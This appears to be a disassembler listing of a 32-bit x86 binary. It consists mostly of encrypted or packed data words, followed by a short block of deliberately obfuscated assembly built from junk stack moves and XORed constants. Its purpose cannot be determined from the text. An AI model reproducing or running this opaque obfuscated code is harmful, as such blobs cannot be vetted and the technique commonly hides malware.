		dd 8958C358h, 81042444h, 19042444h, 40000000h, 634EC350h
		dd 6111B302h, 6A61D88Ah, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 42DDC355h, 0E74C9644h
		dd 0C7818997h, 5CE893Fh, 93985C7h, 307A8h, 9D890000h, 7A82645h
		dd 0BB2BBD83h, 0F0007ABh, 4484h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 34DF8120h
		dd 0E932F1D8h, 38h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 0E7C35646h, 0C3050B6h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0DE9h, 0E397F100h, 0CF53730Bh
		dd 4AC9050Fh, 6A3785h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 816636C3h, 569583CBh, 0B890Fh, 5E80000h
		dd 75000000h, 0B6AE793Fh, 0BD835B5Fh, 7A80939h,	60850F03h
		dd 6A000004h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0E678C357h, 89952939h,	8307A80Ch
		dd 0ABBB2BBDh, 840F0007h, 42Fh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 50C35545h, 0D690B5A8h, 607463E8h
		dd 8589F860h, 7A81CB9h,	158D2361h, 6107A806h, 0BB2BB5FFh
		dd 6A07ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 9DB09DC3h, 1865B589h, 95FF07A8h, 7A82475h
		dd 33A99D33h, 0B58B07A8h, 7ABBB1Fh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 99C35747h, 9FD76E61h, 0C8933734h
		dd 15418D89h, 6C707A8h,	10001h,	0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 9CC35747h, 1FFFA547h, 1595095Fh
		dd 8907A81Ah, 0A814219Dh, 34895007h, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 76D73FB3h
		dd 99DF8012h, 0BB2BB5FFh, 6A07ABh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 800915C3h, 8D89F0C3h
		dd 7A819B5h, 23E595FFh,	9D8907A8h, 7A830A5h, 28599D33h
		dd 0B58B07A8h, 7ABBB1Fh, 1769B589h, 858B07A8h, 7A82941h
		dd 85C78166h, 0C486892Eh, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 677CC350h
		dd 5751F656h, 1731958Bh, 0C28307A8h, 52006A04h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 6FA101C9h
		dd 3319A0h, 11E9FFh, 0A9090000h, 0C0776CB2h, 8BFE04Dh
		dd 7A84256Ch, 0FC04378Fh, 6A205089h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 99A1C353h
		dd 2C6DB529h, 858D07A8h, 7ABCFC1h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0D5C35141h,	642C61A7h, 619D8BDCh
		dd 0F07A81Dh, 0C84h, 6850F00h, 8B000000h, 0A832B1BDh, 0B8868907h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0C0A1C350h, 0C03D11D7h, 0DBD8953h
		dd 6A07A810h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0CF8166BAh, 0B5FF6FA7h, 7ABBB2Bh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 78C35343h
		dd 18D89A7h, 0FF07A80Ah, 0A814E595h, 0FD9D8B07h, 5007A825h
		dd 6A30BB66h, 6A243489h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 6821C350h, 3E780E35h
		dd 80A1759Ah, 0B5FF53F7h, 7ABBB2Bh, 28959D8Bh, 95FF07A8h
		dd 7A81D09h, 89DEBF0Fh,	0A8152DB5h, 0FDBD8307h,	7A81Dh
		dd 58840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0D3472AC3h, 0BB0EDAF0h, 6CC27838h
		dd 5E860h, 3500000h, 89E3A63Bh,	0A8043595h, 66615A07h
		dd 509D69BBh, 0CE8h, 0D95B4000h, 0E56423FFh, 9CE86986h
		dd 34895F96h, 0C656BF24h, 0B5FF5B6Ah, 7ABBB2Bh,	95FFD88Bh
		dd 7A810D5h
		dd 0B2F0A2BFh, 2BB5FF57h, 0FF07ABBBh, 0A80B3995h, 0D9958907h
		dd 8307A823h, 0A831F5BDh, 840F0207h, 7Bh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Ch, 0ACC35646h, 0F5FCB0B6h
		dd 0C8A86DC4h, 286D8D29h, 858B07A8h, 7A82981h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0EFC35343h, 809916B9h
		dd 0C610DFh, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 9D8BE8F2h, 7A8183Dh, 0C7FFB70Fh
		dd 0A821C985h, 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 58A0FC0h, 0BF000000h
		dd 42CD45B5h, 0E9FAB70Fh, 0FFFFF218h, 9EBBC18Bh, 8D1E9280h
		dd 0A8042585h, 0EE807h,	0A05B0000h, 79DF8355h, 0F31EF40Eh
		dd 0E344A5CAh, 227D8D89h, 905F07A8h, 0F525050h,	0F357BB31h
		dd 585A1150h, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 4113F429h, 8DECFEECh, 0FA8B66ECh
		dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 7A1C2DC3h, 0F5CB3FF7h, 6AF20339h,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 1F0462F8h, 8B52B7CAh, 0A825899Dh, 54858D07h,	6A07ACB4h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0E547C353h, 6880F87h, 8B000000h, 0A81905BDh
		dd 5C08307h, 2D03D381h,	0F903C0Fh, 58Ch, 0AB37BB00h, 0B7502F7Ah
		dd 6A90C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 8356FAC3h, 0FBE029D6h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0FD50DAC3h
		dd 39316CB4h, 2175BD8Bh, 6A07A8h, 44D8529h, 95FF07A8h
		dd 7A81B39h, 0EE8h, 0D3BBBF00h,	3D8287E4h, 0CE6D3AB3h
		dd 0F78A66Eh, 28Eh, 5F5B5000h, 8D8D5B56h, 7AB9A3Bh, 0FFDFB70Fh
		dd 5D9D09D1h, 8307A81Bh, 0A806A5BDh, 850F0107h,	0B9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 52C35040h, 0C01D2557h
		dd 0FB94F673h, 2C498D29h, 0BE807A8h, 35000000h,	30D574DCh
		dd 4AD8DD13h, 85095E4Eh, 7A82565h, 66026A5Fh, 90EEC2BFh
		dd 0B078BB53h, 505B2202h, 19BF5250h, 0F5B425Fh,	0DE931h
		dd 0EC4F0000h, 0A98C07CCh, 70950FDFh, 5A93D2FAh, 6A9058h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 95FF19C3h, 7A814E5h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 11C35747h, 0B887AAF6h, 81661B28h, 0B33963DBh
		dd 0DF1E9B1h, 0E80000h,	5D000000h, 0B45EED81h, 6A07ACh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0BE0F22C3h, 0E7803336h, 0E4CB81E9h, 8D55B809h, 0AB8C0385h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 8A9F761Ah, 27BF50F8h, 894BDD33h,	6A2404h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 5560ACC3h, 0FF6434C3h, 35h, 0FEBF0F00h, 0D4AEC781h
		dd 896472F8h, 25h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0A4DF1882h, 0F99D8B38h
		dd 0FF07A830h, 0A80EE585h, 0F19D8B07h, 6A07A80Eh, 53006AFFh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 3C5372D7h, 1479B5FFh, 0BD8B07A8h, 7A832B1h, 0FE8h, 799AEA00h
		dd 0F92DB6B3h, 0B95DA55Dh, 2E624A14h, 35619509h, 0FF5F07A8h
		dd 0A8246D95h, 175E907h, 830F0000h, 0Eh, 9E9h, 51319400h
		dd 0DE250ED8h, 8E9817Fh, 7F000000h, 828E018Ch, 0B0987C3Eh
		dd 85036000h, 7A82CDDh,	11E9h, 7C953300h, 1363D5B9h, 0EA76FF86h
		dd 29768C7Eh, 6061BD40h, 6D858B50h, 5E07A80Ch, 0B358D01h
		dd 0E66107A8h, 0D59D8B70h, 0F907A809h, 9D8B71E4h, 7A81CC5h
		dd 3CFE8B66h, 8830F61h,	0E8000001h, 6, 0FACB3E8Bh, 5F52B09Bh
		dd 318D095Bh, 0F07A834h, 4EB7C8B6h, 6BAh, 5AEF8100h, 814836A3h
		dd 1E139FE3h, 89C18B6Eh, 0A832E19Dh, 4E8C107h, 35950960h
		dd 0F07A822h, 289h, 61C18A00h, 2BE2F766h, 0FD8B3C8h, 68Dh
		dd 59BD0300h, 8B07A80Fh, 0DEEB81D1h, 0E977EB87h, 0Ch, 52B1E381h
		dd 0B5892212h, 7A824FDh, 2C65858Bh, 11E907A8h, 0D1000000h
		dd 0E078506Fh, 96A63430h, 12E7E1CEh, 53639528h,	8907C083h
		dd 0A825098Dh, 7DBD8907h, 8307A80Ah, 8D8900C0h,	7A82FF9h
		dd 830FD03Bh, 11h, 6918D89h, 50E907A8h,	31000000h, 0A8269195h
		dd 98D8B07h, 107A82Dh, 0A8238585h, 1E18307h, 35840Fh, 85890000h
		dd 7A82AEDh, 2D09A583h,	53FE07A8h, 38E0Fh, 0B70F0000h
		dd 95895FDAh, 7A82C65h,	0DE9h, 97AB2D00h, 623E902Dh, 638C019Ah
		dd 0E96FF8h, 8D000000h,	0AC1CD0B5h, 0D5952907h,	6A07A80Ah
		dd 0CF816600h, 95FFE40Ah, 7A80D21h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 1C35545h, 0CD02EDCFh, 0B91FE3CBh
		dd 721h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	87C35545h, 65F220A4h, 6F4F693h,	0CE8h, 4CE9E000h
		dd 0F85D8A20h, 0A29D7C59h, 5F2BBF5Fh, 8B5B0276h, 0A81B4DBDh
		dd 0FCE18307h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	0D4C35343h, 0BB66AB5Ah,	8BFC0046h, 0A81A95BDh
		dd 9C02B07h, 0A81D0D95h, 399D3307h, 2B07A825h, 52006AD2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0B5858984h, 0AD07A833h, 0E8D1C233h, 0E983D003h, 8BF47504h
		dd 0A80CDDBDh, 0DD88B07h, 88h, 1143EB81h, 81661B49h, 8B6F38D3h
		dd 0A8173195h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 854D4FFFh, 0C752BCF0h
		dd 0A598D8Bh, 6A07A8h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 8766DC3h, 0EC96A46Dh, 9D89DEE5h
		dd 7A82C81h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 0F98A5818h, 83FBB70Fh, 0A81885BDh, 840F0007h, 90h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0BCC35747h, 10E945h
		dd 0D9110000h, 4A9339E5h, 0D413D937h, 0E0BD3F19h, 0BD038C0Fh
		dd 7A81B51h, 0B8h, 8C0F00h, 8D000000h, 0A84E4D8Dh, 6E807h
		dd 0BF630000h, 52543855h, 0AA99D8Bh, 0FF5B07A8h, 53006AE1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 12E9A4h, 6A5A0000h, 392BA5FBh, 0D0E6F129h, 0E2DB1458h
		dd 716CF4E4h, 939BD83h,	0F0007A8h, 40184h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 0B06021BAh, 57673366h, 939BD83h, 0F0107A8h
		dd 3EC84h, 0B0BF6600h, 0B6D78154h, 83663116h, 0A80939BDh
		dd 860F0307h, 39Fh, 7DFDDDBFh, 0DDBD8B04h, 6007A81Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 78C35242h, 0FB67C770h
		dd 9226C680h, 2935BD8Bh, 852907A8h, 7A81335h, 6AD98C66h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0E8D8C356h, 0C04AC2E5h, 1E219D2Bh, 0E18007A8h
		dd 52006A04h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 6C7A8B4Dh, 9B350F7Fh, 0C90ACD05h, 0E4840Fh
		dd 9D8B0000h, 7A80005h,	0BB1858Bh, 950107A8h, 7A82CBDh
		dd 6830Fh, 0BD8B0000h, 7A827D9h, 28718533h, 8B6607A8h
		dd 0BB90F9D8h, 2E2E9FBDh, 457DBB50h, 6A9022E8h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 747AC350h, 639A741Bh, 6AE16Eh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 80C35343h, 69FC685Ch, 0F88BAD31h
		dd 3240481h, 6A52ED9Ah,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 3A1FC357h, 0F99D0131h
		dd 8907A828h, 0A8258D95h, 68A0F07h, 8B000000h, 0A8353D9Dh
		dd 3995FF07h, 8907A805h, 0A823A1B5h, 2B858907h,	8B07ABBBh
		dd 0A80C6DBDh, 1A0E907h, 85890000h, 7A82205h, 103D9531h
		dd 858B07A8h, 7ABBB23h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 73C35040h, 0F83DB9D4h, 0C759B9h, 18h
		dd 30A19D0Bh, 0B58B07A8h, 7ABBB27h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 7DC35343h, 0E1332880h, 8DF63A52h
		dd 858BB0B7h, 7A80CCDh,	4D9D8B51h, 5B07A815h, 858B0689h
		dd 7A80BB1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	0D2C35040h, 3269BD8Bh, 468907A8h, 53006A04h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 919589DFh, 8B07A822h, 0A81B51BDh, 59BF5007h,	8971A347h
		dd 8D892434h, 7A830B1h,	0BB23B5FFh, 6E907ABh, 3D000000h
		dd 0EE035520h, 19F16877h, 8B5153FAh, 34815FFBh,	0E51A0E24h
		dd 50006A53h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 2E4E5A89h, 83A5230Eh, 0BB2B858Dh, 6A07ABh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 666FB7C3h, 56B2BB80h, 0F88B668Bh, 50FB8B66h,	7E8h, 87F21A00h
		dd 9690F530h, 0CBBB5250h, 0F79D75Bh, 8A0F31h, 5A000000h
		dd 4895F58h, 719D8B24h,	0FF07A82Dh, 0A8053995h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 155DE943h, 6A617BB5h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1A042444h, 40000000h, 0AEC4C350h,	0D869961Bh
		dd 5FF55136h, 93985C7h,	307A8h,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 0F9ACC3C3h
		dd 81D8293Eh, 0EE2DC4F3h, 2BBD8346h, 7ABBBh, 2D840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E9851BC3h, 26h, 6E9h, 0B6684C00h, 50A6BA44h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0E33005C3h, 0B9B58B60h, 3307A810h, 0A82419B5h, 7E96107h
		dd 1F000000h, 2C43CC08h, 0BD839C2Eh, 7A80939h, 7B850F03h
		dd 6A000004h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 29B3C352h, 13E9FBh, 29CE0000h
		dd 7B9010C8h, 2ADFDE85h, 0D88BBBD7h, 9E7133B8h,	2BBD83F4h
		dd 7ABBBh, 438840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 2BEA45C3h, 8166EA74h
		dd 0FF5093C3h, 0ABBB2BB5h, 0DA816007h, 5B2F9842h, 7E8h
		dd 0F982AB00h, 0EC3BF1C4h, 0FD32C081h, 615B2469h, 247595FFh
		dd 6A07A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 6E4185C3h, 0B61353F7h, 8D89864Dh,	7A81D79h
		dd 6FEF8166h, 1FB58B10h, 2907ABBBh, 0A81B7D85h,	106C707h
		dd 6A000100h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0E4EC355h, 217E9903h, 0E960507Ch
		dd 0Fh,	2F099A1Ah, 0B76823E3h, 50BD6F34h, 66DCEE86h, 8961D18Bh
		dd 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0E04E34C3h, 0B5FFFEB3h, 7ABBB2Bh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 73C35040h, 6F62651Bh
		dd 0E595FF5Bh, 6A07A823h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 59E6C355h, 2D9D0B22h
		dd 8B07A82Ah, 0ABBB1FB5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 6BBAE3F8h
		dd 8E91ACDh, 43000000h,	0D19BA1F5h, 8B11A84Ch, 0A8294185h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 1D1C5E4Eh, 89F98A31h, 0C486h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8BA4D634h, 0A8173195h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0BBB50CA5h
		dd 3EBAA37Dh, 2461EF81h, 0C283610Eh, 53006A04h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0EE9953A5h
		dd 9AD1212Dh, 9589AF9Eh, 7A80A31h, 6A205089h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 8DFBC353h, 0ABCFC185h, 61BD8B07h, 8907A813h,	0B886h
		dd 7D858900h, 6A07A822h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 0B5FFB6E1h, 7ABBB2Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D8C35242h
		dd 0FFE7669Ch, 0A814E595h, 0DB816607h, 0B796B000h, 8B66509Dh
		dd 9D2996DAh, 7A80859h,	0BB2BB5FFh, 6A07ABh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 76675CC3h
		dd 1C3EA262h, 1D0995FFh, 5E907A8h, 5000000h, 42F9A804h
		dd 1DFDBD83h, 0F0007A8h, 2D84h,	0DB816600h, 50503158h
		dd 895F5F52h, 6A2434h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 0F85A6C3h, 0B5FFFBB7h, 7ABBB2Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 77C35545h
		dd 677739C1h, 0FF73732Bh, 0A810D595h, 108C0F07h, 0E9000000h
		dd 0Bh,	16058BCh, 4582BF1Ah, 0FF7D8456h, 0ABBB2BB5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 2E02948Fh, 6ACA961Ah, 95FFF88Bh,	7A80B39h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0EDC35747h
		dd 3A869433h, 0BAB94B42h, 35858B60h, 8B07A800h,	0BD8361F9h
		dd 7A831F5h, 58840F02h,	66000000h, 4D7ECB81h, 2981858Bh
		dd 6A07A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 1DFC18C3h, 0DF284C51h, 0C65CB774h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C5A840C3h, 18C0Fh, 0C7F50000h, 0A821C985h, 7, 0F3805200h
		dd 1CE95F95h, 0E9FFFFF3h, 0Eh, 0EAA7F8EBh, 0DCA87175h
		dd 2B255D79h, 0C18BDAB9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 30C35141h, 5E823h, 83520000h,	662EB6F2h
		dd 0E95FF98Bh, 0Ah, 32D14A81h, 0
		dd 3DE90000h, 69000005h, 0B19AAFA8h, 0F6DFF4E3h, 37203522h
		dd 765F7463h, 8D9BB0A7h, 0ADAA693Ch, 0EFE8AF98h, 3324F1DAh
		dd 7265351Eh, 98DE7D5Dh, 0CBACAE62h, 0C720CE68h, 0DA130017h
		dd 2401193Eh, 6533F4A7h, 533C5172h, 85A79483h, 47CF5E07h
		dd 0B390A8EDh, 15C36436h, 9FF4E102h, 587C2359h,	0A2229D3h
		dd 0EBECB02Dh, 66D1CC20h, 0FB1007D7h, 3D524512h, 0C5908754h
		dd 0BB869148h, 99289340h, 0DDC6DBFCh, 0AFA86A3Dh, 0CF054BE4h
		dd 0D5D3587Ch, 9F8CADCEh, 7CCE044Ah, 0CDD4D358h, 154ED8B5h
		dd 0EFD3587Ch, 941ED58h, 0ED1BA8F5h, 0DEF6E1B4h, 60C2h
		dd 17C7C000h, 73AB3500h, 4DD35970h, 0EB9F4BB6h,	2E1BA801h
		dd 1, 215C72Ch,	1E39DC15h, 916E8653h, 8C574014h, 0F81FBAF3h
		dd 6548602Dh, 87DBA6B1h, 5476218Ch, 56F5092Dh, 0BC9FB723h
		dd 0E5EAFF18h, 96815790h, 58B282B8h, 0A6B165D3h, 0F6D9F1F8h
		dd 191E3324h, 54038CF7h, 0D9F14190h, 314C7F3h, 0B4669F38h
		dd 0F30BD8A3h, 5E4B4C10h, 9C677025h, 15DAB7CFh,	530291FCh
		dd 94462F44h, 9D3BB883h, 0F2388D7Ah, 0D35970BCh, 24DB22C2h
		dd 627A5A3h, 0ABF0CDE5h, 477B2792h, 171BA745h, 79BBB1F5h
		dd 0A4913A30h, 58C9285Eh, 0F272ED3h, 83F3h, 14C7F100h
		dd 1DBB3803h, 5D40DFAh,	0A01DFA12h, 7912DDFAh, 596FFD33h
		dd 2BFC03D3h, 4FA36E69h, 620AE954h, 888F4A83h, 0BDD8F0BDh
		dd 5885A752h, 0A637200Ah, 0FE9D8098h, 38DBC4D9h, 35D70D53h
		dd 26DDD359h, 1F406176h, 6403D754h, 0EDBA6B1h, 0C4DD22EDh
		dd 0A675AE59h, 119E6B1h, 0A7C43901h, 4B801Bh, 0C77E0000h
		dd 0BB380314h, 0E52EF91Eh, 3BDA69D4h, 9DE3A86Ch, 0D3597067h
		dd 7A45666Dh, 8B778CADh, 370215C7h, 0CD03499Eh,	0D3D35970h
		dd 8BC4B4CCh, 6ED35970h, 61DEA9AEh, 5ED9A4B3h, 8D6746B1h
		dd 0ABDF8BF6h, 6E1BA801h, 1, 6D11C76Ch,	397628AEh, 0AE799AE3h
		dd 16C66131h, 98CE1401h, 9ED35872h, 30AB7697h, 346D1883h
		dd 0DDAA7562h, 7274AAF0h, 737AD358h, 7A0785Bh, 0AD7A4552h
		dd 48CD778Ch, 0B0669F8Ch, 3B908FA7h, 50D58819h,	9AB2DF51h
		dd 182C9AAh, 0FDC8CFDBh, 0A4B9DE80h, 0CE044A9Fh, 0D4DB0182h
		dd 0D2B5CDh, 8AC24C17h,	0A1DB0182h, 0C4962590h,	80B9BED3h
		dd 23F0BBDCh, 6176280Bh, 0AE791996h, 501DE8EFh,	0A7ED422Fh
		dd 0DB018271h, 7B587077h, 1E64B9B6h, 0DB0182E8h, 833369AFh
		dd 3239DB01h, 4A657D84h, 898E50DFh, 0EC246E74h,	0E11AE3FFh
		dd 8B582334h, 13E5773h,	0AB550000h, 70DA1056h, 0D9E0D359h
		dd 43381DC1h, 3C8CCDC4h, 8F7C9D4Ah, 1065449h, 88535ADBh
		dd 0FE9C4B0Bh, 20410ED9h, 6770220Bh, 8CA039Ch, 7C9B3E0Fh
		dd 0C6D18164h, 0E92F84D9h, 0DB0106B3h, 9ED4B2B9h, 81DB0106h
		dd 2BF8C3D4h, 815E767Dh, 0D186BFBCh, 162EFBC6h,	510190FBh
		dd 0BD6C196h, 2081D3Eh,	0E3F06B48h, 3D91h, 15068F00h, 388ED4C1h
		dd 3E535970h, 0ACE26C37h, 75535970h, 95EA9500h,	0E51E1D73h
		dd 0B492CE31h, 53595D7Eh, 0DBA6B161h, 4159600Eh, 6B58BC9Dh
		dd 595CCF25h, 0B9CED5D3h, 9775h, 1106B700h, 3D92D8C5h
		dd 43DB018Ch, 0FDC8CF8Ch, 8101B997h, 0F302DCFh,	0F4A623EEh
		dd 74C9CEE3h, 1BBF82Eh,	3DF7FEDBh, 9C1CE754h, 2E5FD3Dh
		dd 0F27C4750h, 0DB01CDB7h, 11DCFB9Ah, 0CCFC3278h, 0FB02DB01h
		dd 0A46F682Ah, 0BEA5550h, 63F25D6Eh, 0E58FA4B3h, 71B7A470h
		dd 0E2AE8F86h, 3D73B98Ch, 43E2AE8Fh, 0B7501B3Ch, 0A7BFD87Eh
		dd 446C12C4h, 5E8E0CEAh, 8803CEEFh, 372070DBh, 0C1ACF2DFh
		dd 0C7EA5BAFh, 51A6ABC0h, 0A632DE2Fh, 0A5832922h, 0EA5BB86Fh
		dd 70566E75h, 0D8C51106h, 632A792h, 22F6ADDBh, 7C9D6A35h
		dd 0C56234B1h, 0CBE00116h, 5C2730E2h, 83BFF9D2h, 183FDC10h
		dd 0A0DD04Dh, 0C833A83Fh, 58799E39h, 0BB4AB5B0h, 25F7301Bh
		dd 0C01E5432h, 51241083h, 83C0D50Bh, 0B3D4DB10h, 0C2947D92h
		dd 4D93E8D5h, 1083C017h, 21FE161Dh, 16E1F6A4h, 0F483EE9Bh
		dd 0F483522h, 0B324A4Dh, 9C677022h, 13C4h, 25DC0600h, 8581BD03h
		dd 35EF1B8Eh, 0C35FC497h, 260C24D9h, 360116C7h,	33FE19B9h
		dd 2BF6E1B6h, 21ECEBAEh, 1BE6F1A4h, 0DD8FF9Eh, 2CDCA90h
		dd 0F9C4D385h, 0F4BFD87Ch, 0E689563Ch, 4C681h, 0EE810000h
		dd 4, 5C243487h
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	2375h
		mov	[esp], esi
		mov	edi, 4F7138B7h
		push	edx
		mov	edx, 48DDFAE9h
		xor	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		push	edi
		xor	dword ptr [esp], 7387371Fh
		pop	ecx
		xor	ecx, 7387371Fh
		mov	[esi+8], ecx
		pop	ecx
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
